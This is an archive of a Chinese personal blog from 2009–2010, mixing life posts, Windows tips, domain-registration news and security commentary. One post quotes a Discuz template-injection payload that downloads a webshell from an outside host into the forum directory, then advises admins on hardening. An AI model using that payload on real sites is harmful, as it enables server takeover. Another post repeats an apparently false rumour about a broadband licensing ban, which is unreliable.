我的生活

2010年新人民币

Wed, 24 Feb 2010 09:44:58 +0800

2010年QQREADER6D78C81C4F048D66
即将上市的500元人民币

新人民币100元

新人民币50元

新人民币10元

Tags - 新人民币 , 500 , 100 , 50 , 10 , 2010

2010新年杭州的第一场大雪

Sun, 14 Feb 2010 00:45:23 +0800

祝大家新年快乐！

Tags - 新年快乐 , 2010 , 大雪 , 第一场

[解决办法]无法删除一个文件名只包含空格的文件夹

Mon, 25 Jan 2010 21:36:15 +0800

点“开始”菜单，点“运行”，这样会打开"运行"对话框。
在“运行”对话框中输入cmd，然后点击确定，确定后会打开一个黑黑的窗口，这个就是“控制台”窗口了。
在“控制台”窗口中输入"cd d:\闹鬼"来切换当前位置到"d:\闹鬼"下面。如果你的删不掉的文件夹在"c:\闹鬼"下面那么你就需要输入"cd c:\闹鬼"了，依此类推。注意"cd"后面有一个空格。输入完以后就敲回车键。如果命令执行成功则闪烁的光标前面就会出现"d:\闹鬼"字样。
再在控制台中输入"dir /x"命令，注意空格。输入完以后就敲回车来运行命令。运行完了窗口中会出现一些信息，分为整齐的好几列（知道什么是列，什么是行吧？），倒数第二列就是“8.3”格式的短名称。短名称通常以"~1"结尾，但也不一定。
现在你需要找出你需要删除的文件或者文件夹在哪一行，然后看那行的倒数第二列，把它记下来，然后继续在控制台输入命令，如果是删除文件夹，就输入"rd 刚才记下来的信息"，如果是删除文件，就输入"del 刚才记下来的信息"，然后回车（“rd progra~1/s”也行，其中“progra~1”这个就是要删除的文件夹）。注意，命令中的“刚才输入的信息”要替换为你记下来的短名称。
如果你的操作没有问题的话那现在文件/文件夹应该被删除了。
Tags - 解决 , 办法 , 无法 , 删除 , 文件名 , 包含 , 空格

中国各地腊八粥

Fri, 22 Jan 2010 09:19:26 +0800

腊八这一天有吃腊八粥的习俗，腊八粥也叫七宝五味粥。我国喝腊八粥的历史，已有一千多年。最早开始于宋代。每逢腊八这一天，不论是朝廷、官府、寺院还是黎民百姓家都要做腊八粥。到了清朝，喝腊八粥的风俗更是盛行。在宫廷，皇帝、皇后、皇子等都要向文武大臣、侍从宫女赐腊八粥，并向各个寺院发放米、果等供僧侣食用。在民间，家家户户也要做腊八粥，祭祀祖先；同时，合家团聚在一起食用，馈赠亲朋好友。中国各地腊八粥的花样，争奇竞巧，品种繁多。其中以北平的最为讲究，搀在白米中的物品较多，如红枣、莲子、核桃、栗子、杏仁、松仁、桂圆、榛子、葡萄、白果、菱角、青丝、玫瑰、红豆、花生……总计不下二十种。人们在腊月初七的晚上，就开始忙碌起来，洗米、泡果、拨皮、去核、精拣然后在半夜时分开始煮，再用微火炖，一直炖到第二天的清晨，腊八粥才算熬好了。
Tags - 中国 , 各地 , 腊八粥 , 腊月 , 习俗

不平凡的一年

Fri, 01 Jan 2010 16:07:45 +0800

又将是新的一年,
又是新的开始,
又是新的祝愿,
又是新的呈现,
又是新的不平凡!
呵呵!
其实每一年都不平凡.
至少在时间越过岁末最后一秒钟时,
我们都发生直的变化,
因为又大一岁,
因为肩上又增加一些重的东西,
有形或无形!
但无关紧要,
同样因为我们能够抗拒更大的风险,
等待质的转变!
我祝福我自己同样祝福所有人.
Tags - 不平凡 , 2010 , 新年 , 开始 , 祝愿 , 祝福

国内域名注册流程图

Tue, 15 Dec 2009 09:13:17 +0800

一、注册国内域名必须提交资料：

　　注册国内英文域名、国内中文域名时，必须同时提交书面申请资料进行审核。新网互联在初审后递交至CNNIC审核。资料通过CNNIC审核后，域名方能注册成功。未收到书面申请材料的或域名申请材料审核不符合条件的，该域名将予以注销，注册费用将退至您的预付款中。

二、域名注册的流程：

三、提交资料内容以及方法：

　　1、资料内容：

　　1) 加盖公章的域名注册申请表（原件），可以是扫描件或者数码件电子版，但是必须有红章；
　　2) 企业营业执照或组织机构代码证（副本复印件，上面需盖有效年检章）；
　　提醒：建议在上面注明用途“仅作为申请****域名的凭证”；在网站提交域名注册信息时，请确保单位名称与企业营业执照副本上公司名称或组织机构代码证副本上单位名称一致。
　　3) 注册联系人身份证明（复印件，第二代身份证需要复印正反两面）。
　　提醒：建议在上面注明用途“仅作为申请****域名的凭证”；在网站提交域名注册信息时，请确保联系人姓名与身份证明上一致。

　　2、提交方法：

　　所有客户以及合作伙伴，须将上述资料，按照以下规定提交。
若新网互联在72小时内未收到资料或收到后审核未通过，则该域名将予以注销，注册费用将退至预付款中。

四、其它注意事项：

　　新网互联将资料初审后将递交CNNIC审核，资料通过CNNIC审核后，域名方能注册成功，审核期间域名无法解析且无法提交续费。

附：《域名注册申请表》请点击下载。

　　在此感谢广大客户及合作伙伴的大力支持及配合！

2009年12月14日

Tags - 国内 , 域名 , cn , 注册 , 审核 , cnnic , 解析 , 续费

今日起个人用户不能再申请ADSL宽带业务

Mon, 14 Dec 2009 13:18:36 +0800

文化部联合信产部、工商局，中国电信、中国网通发布公告，从2010年1月1日起，个人家庭用户不能再申请ADSL宽带业务，如要安装，需到相关部门领取宽带安装许可证！对现已安装用户，截止到费用到期为止，在未申领许可证之前，不可续费！
相关人士称此举是为了彻底杜绝网络涉黄信息！

今日起个人用户无法申请注册“.CN”域名

引用

导读由于此次CNNIC的严查主要目的是打击涉黄网站，因此该公告主要针对新注册用户提出要求。

中国互联网络信息中心(CNNIC)对加强域名监管再出重击，于11日晚间发公告称从今日(12月14日)9时起，用户注册.CN域名需提交书面申请，之前用户网上申请即可；并“停止”个人用户域名注册。CNNIC负责人对记者表示，我国一直未开放过个人域名注册，但存在用户利用虚假资料注册并获得个人域名的行为。

需提交书面申请及企业资料

CNNIC公告要求用户向域名注册服务机构在线提交域名注册申请的同时，应当提交书面申请材料。申请材料包括加盖公章的域名注册申请表(原件)、企业营业执照或组织机构代码证(复印件)、注册联系人身份证明(复印件)。而这代表着，没有企业营业执照或组织机构代码证的个人用户，将无法申请注册域名。

根据公告，除了要提交上述书面材料之外，CNNIC还要求域名注册服务机构认真审核用户提交的书面申请材料，审核合格后，将书面申请材料通过传真或电子邮件的形式提交至CNNIC，并保留书面申请资料。如果自域名提交在线申请之日起5日内CNNIC未收到书面申请材料的或域名申请材料审核不符合条件的，该域名将予以注销。

有业内人士称，在此之前对于域名申请虽也有相关规定，但CNNIC及其代理机构并未认真执行，用户申请域名时在网上提交申请即可，而域名注册机构对用户提交的信息审查并不严格，甚至部分机构帮助用户利用虚假信息注册域名。以企业为主体进行注册，将会增加违规的成本，从而抑制这种行为。

个人域名注册一直未开放

CNNIC副主任刘志江昨日在电话中告诉记者：“过去确实存在个人用户，以个人名义或别的方式，注册域名。现在根据专项治理要求，我们要加强信息核查，要求申请域名时同时提交书面材料，所以个人用户确实无法注册域名了。”据了解我国管理政策确实一直没有允许个人注册域名。

由于手机网站涉黄问题严重，此次发布的公告主要是为了通过提高域名注册信息的真实度，来减少域名非法应用问题。“以前用户注册只是通过网站填写申请材料，提交书面申请可以让我们在审查中提高准确率。”刘志江解释。事实上在2002年以前用户申请域名一直都需提交书面申请。

由于此次CNNIC的严查主要目的是打击涉黄网站，因此该公告主要针对新注册用户提出要求。

不会贸然关闭已注册域名

记者获悉，CNNIC此次整治分两大块。

一块是针对已申请CN域名的用户，CNNIC将重点审查这些域名所指网站是否涉黄或者从事其他违法行为。另一块则针对新申请域名的用户，正如公告所示，要求用户提交书面申请材料以及要求域名注册服务机构加强审核。

不过更让许多用户关心的是，如果个人已经注册了.CN域名，是否也会在此次审查风暴中被封杀。对此，刘志江表示，目前审查主要针对违法涉黄行为，如果个人已经注册域名，使用目的合法合理，这些用户的合法利益也会予以保护。“对于合法使用的网站，我们不会贸然关闭。如有信息不准确问题，要停止域名解析，CNNIC也会提前与用户联系，并给其留出充分的修改完善的时间。”

不过记者了解到，目前已注册.CN的用户数量有1300万之巨，因此此次审查也将是一项艰巨的浩大工程。

事件回放

12月9日晚，央视报道，从事手机色情网站运营的犯罪嫌疑人通过CNNIC授权的域名注册机构或代理机构注册大量域名，将其指向黄色网站。

12月10日，中国域名监管机构CNNIC发出通知，要求在域名注册服务过程中，域名注册用户、受理域名注册申请的相关人员、代理商等都需负起相应责任，保证域名注册信息真实、准确、完整，并将对已注册的域名注册信息进行逐个审核。

12月10日，发出处罚公告，叫停新网等三家服务商的域名注册业务。

12月11日晚，CNNIC又发出公告，要求用户注册CN域名需提交书面申请。

Tags - 申请 , adsl , 宽带 , cn , 域名 , 注册 , 个人

Discuz最近爆出来的拿Webshell安全漏洞

Sat, 12 Dec 2009 20:54:36 +0800

随着个别纸质媒体，以及诸多“黑客类”站点的曝光，最近开始流行一个DZ的安全漏洞，关于这个安全漏洞，我摘抄自一黑客网站的说明如下：

Discuz!的最新后台拿Webshell 方法
1. 随便选一模板文件，选择编辑
2. 找一个空间上传一个webshell, 假定其地址为http://www.abc.com/shell.txt
3. 在任意位置输入:
{eval copy('http://www.abc.com/shell.txt', DISCUZ_ROOT.'./forumdata/shell.php');}
4. 保存, 刷新
5. 访问该模板所属的文件
6. 把模板恢复原样

大功告成, 访问/forumdata/shell.php便是可爱的马马。

这里跟大家稍微分享一下我看到这条新闻的时候想到的一些东西，希望对大家有帮助。

首先呢，就是这个漏洞被利用的两个前提，第一前提就是有后台权限，要这个权限不简单，DZ从之前较老的版本开始，就只有管理员权限的用户组能进后台了，而且，从7.2开始，对权限控制更加细化了，也就是说，我们完全可以控制进入后台的人具体拥有什么权限，上面漏洞是跟模板有关的，对于模板编辑，数据库操作等这些危险操作，日常安全加固的时候，我们就是应该对一般能进后台的人屏蔽掉的，本身一个论坛管理员就那么几个，再屏蔽掉一些人在危险功能上的权限，能编辑模板的，可能也就那么一两个账户了，安全性应该说是比较高的。第二个前提，就是必须要能编辑模板，DZ有个防陷落的理念，也就是把一些危险功能，在config.inc.php里面设置了，而后台没有控制按钮，比如说是否允许后台执行SQL，是否允许后台编辑模板，为了安全起见，DZ系统都是建议关闭这些功能的，编辑模板的功能关闭了，神仙进去了也完不成上面所谓的漏洞利用了。前提都不存在，无所谓漏洞被利用的说法了。

其次呢，我们要注意的就是磁盘权限的设置了，记得之前我写过一篇帖子，就是关于磁盘权限的，那个帖子里面就写得很清楚了，我们严格控制每个文件的可读可写权限，如果是独立服务器，我们使用单独账号运行每一个站点，运行PHP的站点，就把ASP等权限去掉。这些操作起来其实真的很简单的，你花一个小时，绝对全部设置好了。在这个磁盘权限设置好的基础上，我特意在自己的服务器上测试了一下，就算被写入了上面那个shell文件，能造成的危害也是非常有限的，而且一旦出事，排查起来也是非常简单的。

上面的两点呢，今天跟MJJ们聊天的时候，大家一致说到一个词，那就是安全意识，上面的两点，不需要任何的技术，纯粹就是一个安全意识的问题，如果你真的注意安全，做好了上面两点，那个所谓的漏洞也就不存在了。安全意识大于天啊。

没别的好说的，送个各位站长朋友一句话：良好的安全意识，会帮助你规避99%的安全问题！

提醒一下使用全能空间的朋友

    最近挂马事件频发，我检查了N个被挂马的网站，发现这里面存在一个很严重的问题，那就是使用全能空间的朋友，空间安全系数太低。

    这里给大家说三个地方，首先就是脚本权限，使用Discuz，就请关闭ASP和ASP.NET脚本权限，相信很多朋友遇到过，被挂马之后，在空间里面能发现N个ASP文件，这一点非常危险，请一定注意。还有就是写入权限，全能型空间一般默认是全局写入的，这种情况下太容易被黑客写入恶意文件了，所以，请务必关闭全局写入，只开启部分目录的写入权限，同时，开启写入的这部分目录，一般都是可以将脚本权限完全关闭的。DZ7默认需要写入权限的目录如下：

./config.inc.php
./attachments
./forumdata
./forumdata/cache
./forumdata/templates
./forumdata/threadcaches
./forumdata/plugins
./forumdata/feedcaches
./forumdata/imagecaches
./forumdata/logs
./uc_client/data/cache

还有一个很重要的地方，就是不要随便安装乱七八糟的插件，很多插件由于作者本身水平有限，安全性得不到保证。

安全意识重于一切，请站长朋友们一定要有良好的安全意识，不要等到被挂马了之后再来伤心欲绝，那时候就晚了。
Tags - discuz , 漏洞 , 木马 , 插件 , 空间 , 挂马 , 下载 , webshell , 黑客

吸烟不如吸屁？吸屁还有三分米气！

Wed, 11 Nov 2009 12:33:48 +0800

吸烟不如吸屁，吸屁还有三分米气。

民间有一句关于烟、酒的俗语：喝酒不如喝尿，吸烟不如吸屁；喝尿还有三分米气，吸屁还有三分臭气。

Tags - 俗语 , 喝酒 , 喝尿 , 吸烟 , 吸屁 , 臭气

翻墙软件介绍

Sat, 24 Oct 2009 09:54:32 +0800

[简介]
　　翻墙软件，通俗地说就是一款可以匿名上网的软件，可以防止被网警什么的给拦截，比如在国内经常上不了的维基百科（不是国内中自己建的）、以及国外的一些媒体网站，用了它就可以畅通无阻了，什么功之类的网站也能看了。使用opera mini服务器.opera mini服务器在美国而不是国内，这意味着众多因为某种原因在国内无法浏览的网站可以浏览，比如wikipedia,Technorati，俗称翻墙功能。

[产生背景]
　　国内屏蔽了很多网站，尤其是对政府不利的一些文字性网站或者图片网站，更甚至一些国外的成ren网站，如果有需要看，就得用翻墙软件，可以正常浏览想要浏览的网站，偶然发现，用了这个软件，还可以浏览很多被和谐掉的网站。因此而生的这种所谓的翻墙软件。

[功能使用]
　　这个软件会自动搜索建立一个书面一点的说明：Tor专门防范流量过滤、嗅探分析，使用户免受其害。Tor在由onion routers（洋葱路由器）组成的表层网（overlay network）上进行通讯，可以实现匿名对外连接、匿名隐藏服务。要实现这种功能，除了Tor外，还要Privoxy ， Vidalia两个软件。
　　浏览器建议用Firefox，可以直接下载一个安装软件包，里面直接包含了Tor ， Privoxy ， Vidalia 三个软件和一个Firefox扩展 TorButton，这样安装好后基本不用再自己动手改配置，只需点浏览器下边状态栏TOR启用即可，很好用的。Tor这一类软件，俗称翻墙软件，可以越过网络限制，一些被gov和谐了的网站就可以上了。当然还有一个用途，就是隐藏你的身份（匿名上网）。

Tags - 翻墙软件 , 介绍 , 简介 , 软件 , 代理